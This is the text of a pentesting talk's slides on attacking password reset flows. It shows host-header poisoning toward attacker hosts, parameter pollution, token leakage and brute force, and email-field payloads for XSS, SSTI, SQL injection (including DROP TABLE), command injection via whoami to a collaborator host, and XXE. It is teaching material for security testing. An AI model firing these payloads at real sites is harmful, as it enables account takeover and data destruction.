Slide 1

Slide 1 text

PENTESTING PASSWORD RESET FUNCTIONALITY - Anugrah SR

Slide 2

Slide 2 text

ANUGRAH S R Cyber Security consultant at The SecOps Group Passive Bugbounty Hunter Synack Red Team Member Twitter: @cyph3r_asr | LinkedIn: anugrah-sr | Web: anugrahsr.in Blog: anugrahsr.in | p1boom.com Connect with me

Slide 3

Slide 3 text

Functionality hacking methodology What is the password reset functionality Flow the password reset functionality What can go wrong Mindmap, Checklist AGENDA

Slide 4

Slide 4 text

LOOKING FOR BUGS? Bug Type Functionality Wise ? XSS SQL Injection SSRF Hacking methodology

Slide 5

Slide 5 text

LOOKING FOR BUGS? https://github.com/Anugrahsr/Functionality-Hacker

Slide 6

Slide 6 text

Spot the Common One!

Slide 7

Slide 7 text

Forgot Password?

Slide 8

Slide 8 text

WHAT IS PASSWORD RESET? If a Web-app have a login, there be a password reset function! In order to implement a proper user management system, systems integrate a Forgot Password service that allows the user to request a password reset.

Slide 9

Slide 9 text

FLOW

Slide 10

Slide 10 text

WHAT COULD POSSIBLY GO WRONG HERE RIGHT? Let's see!

Slide 11

Slide 11 text

Me and MAALP found this interesting password reset page OTP

Slide 12

Slide 12 text

WHAT IF? Let's look at the impact FULL ACCOUNT TAKEOVER TOKEN LEAKAGE PARAMETER POLLUTION SQL INJECTION GUESSABLE TOKEN MORE..

Slide 13

Slide 13 text

PASSWORD RESET POISONING If you have a Host Header attack, Request a password with evil host! Websites that handle the value of the Host header in an unsafe way POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: evilhost.com

Slide 14

Slide 14 text

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/resetpassword.php?token=12345678-1234-1234..";

Slide 15

Slide 15 text

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/resetpassword.php?token=12345678-1234-1234..";

Slide 16

Slide 16 text

POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com:@evilhost.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com X-Forwarded-Host: attacker.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com Host: attacker.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: [email protected] Lab: https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning

Slide 17

Slide 17 text

ATO: PARAMETER MANIPULATION We can pollute the parameter to get the reset token to attacker email POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com [email protected]&[email protected] POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com [email protected]

Slide 18

Slide 18 text

POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com [email protected]&[email protected] POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com [email protected] [email protected] [email protected]

Slide 20

Slide 20 text

RESPONSE MANIPULATION Replace Bad Response With Good One HTTP/1.1 401 Unauthorized (“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”) HTTP/1.1 200 OK (“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

Slide 21

Slide 21 text

TOKEN LEAKAGE IN RESPONSE Check the response to see if the token is leaked in response Add json extension to endpoint, eg: resetpassword.json GET /passwordReset.json HTTP/1.1 HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 { "email" : "[email protected]" , "token" : ******, "success" : "true" } GET /passwordReset HTTP/1.1 email [email protected] HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8

Slide 22

Slide 22 text

TOKEN LEAKAGE Check the response to see if the token is leaked in response/js files etc 1 - Set Up Burp In Browser One 2 - Reset Password In Browser One 3 - Open The Password Reset Email In Browser Two 4 - Copy The Token 5 - Search Your Burp History For The Token

Slide 23

Slide 23 text

RESET TOKEN LEAK VIA REFERER Once you visit the reset token link, click on any third party website eg Facebook Intercept the requst and check the referer header

Slide 24

Slide 24 text

RESET TOKEN LEAK VIA REFERER Once you visit the reset token link, click on any third party website eg Facebook Intercept the requst and check the referer header GET /home HTTP/1.1 Host: www.third_party.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://company.com/resetpass?token=123-456-123-456 Origin: https://www.company.com

Slide 25

Slide 25 text

GUESSABLE TOKEN Find out how password reset token is generated like Timestamp , UserID , Email and Weak Cryptography POST /resetPassword HTTP/1.1 Host: www.company.com Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number [email protected]&token=

Slide 26

Slide 26 text

BRUTE FORCE THE TOKEN Find out how password reset token by force! Use IP-Rotate, additional headers etc POST /resetPassword/change HTTP/1.1 Host: www.company.com Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number [email protected]&token=FUZZ&newpass=DontHackme!

Slide 27

Slide 27 text

EXPERIMENT WITH THE TOKEN experiment with the password reset token! Remove the token completely Change the token to value 0 or 1 or -1 etc Use token value = null/nil Use expired token Try array of old tokens Use sequencer to check if the token have any patterns Add special characters Change request method/ content type

Slide 28

Slide 28 text

POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number email=test@gmáil.com.id.burpcollaborator.net IDN HOMOGRAPH ATTACK Create an account with email [email protected] Now generate reset password link for email test@gmáil.com.burpcollaborator.net

Slide 29

Slide 29 text

LIST OF PAYLOADS AS EMAIL ADDRESSES test+(alert(0))@gmail.com test(alert(0))@gmail.com test@gmail(alert(0)).com "alert(0)"@gmail.com "<%= 7 * 7 %>"@gmail.com test+(${{7*7}})@gmail.com "' OR 1=1 -- '"@gmail.com "test); DROP TABLE users;--"@gmail.com test@[id.collaborator.net] %@gmail.com

Slide 30

Slide 30 text

XSS Test for XSS with [email protected]">alert(document.domain) payload GET /[email protected]">alert(document.domain) HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com

Slide 31

Slide 31 text

GET /[email protected]'%2b(select*from(select(sleep(20)))a)%2b' HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0, sunil Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com TIME BASED SQL INJECTION

Slide 32

Slide 32 text

OS COMMAND INJECTION Reset password with email test@`whoami`.id.burpcollaborator.net POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number email=test@`whoami`.id.collaborator.net

Slide 33

Slide 33 text

IDOR Test with your reset token and victim's email id/User-Id. POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number [email protected]&token= POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number [email protected]&token=

Slide 34

Slide 34 text

XXE If password reset endpoint supports both json and xml Use Content Type Converter extension to change from json to xml, add your payload POST /resetPassword/change HTTP/1.1 Host: www.company.com Content-Type: application/xml %asd;%c;]> %rrr;**********

Slide 35

Slide 35 text

MFA AUTO DISABLING Sometimes MFA are auto-disabled after Password reset is done Enable 2FA Logout Password Reset 2FA is auto disabled

Slide 36

Slide 36 text

SESSION EXPIRATION Test for insufficient session expiration after password change Open account in two different browsers In browser1 reset the password See if the session is expired in browser2

Slide 37

Slide 37 text

USER ENUMERATION Enumerate username/email id based on difference in response by the webapp invalid email/username : user doesn't exist valid email/username: Password reset link is send to your email

Slide 38

Slide 38 text

MISSING RATELIMITING Email bombing! send the password reset request to intruder start the attack Look at the choas you created in victim's email account Tip: [email protected]

Slide 39

Slide 39 text

RE USABLE TOEKN Check if the token can be reused, if it's expired. Request password reset Dont use the link change the email address to a new email in account settings See if old token can be used

Slide 40

Slide 40 text

MINDMAPS https://twitter.com/N008x/status/1302515523557548032/photo/1 - Gaurav Popalghat https://xmind.app/m/nZwbdk - Harsh Bothra/

Slide 41

Slide 41 text

RESOURCES 10 Password Reset Flaws Anugrah SR Blog Slides Functionality Hacker ATO Password Reset Mahmoud M. Awali Slides Common Vulnerabilities In Forget Password Harsh Bothra MindMap

Slide 42

Slide 42 text

https://github.com/Anugrahsr/Functionality-Hacker

Slide 43

Slide 43 text

YOU'RE ONLY AS STRONG AS YOUR PASSWORD!

Slide 44

Slide 44 text

THANKS FOR LISTENING TO ME! Twitter @cyph3r_asr LinkedIn @anugrah-sr www.anugrahsr.in Slides will be available here: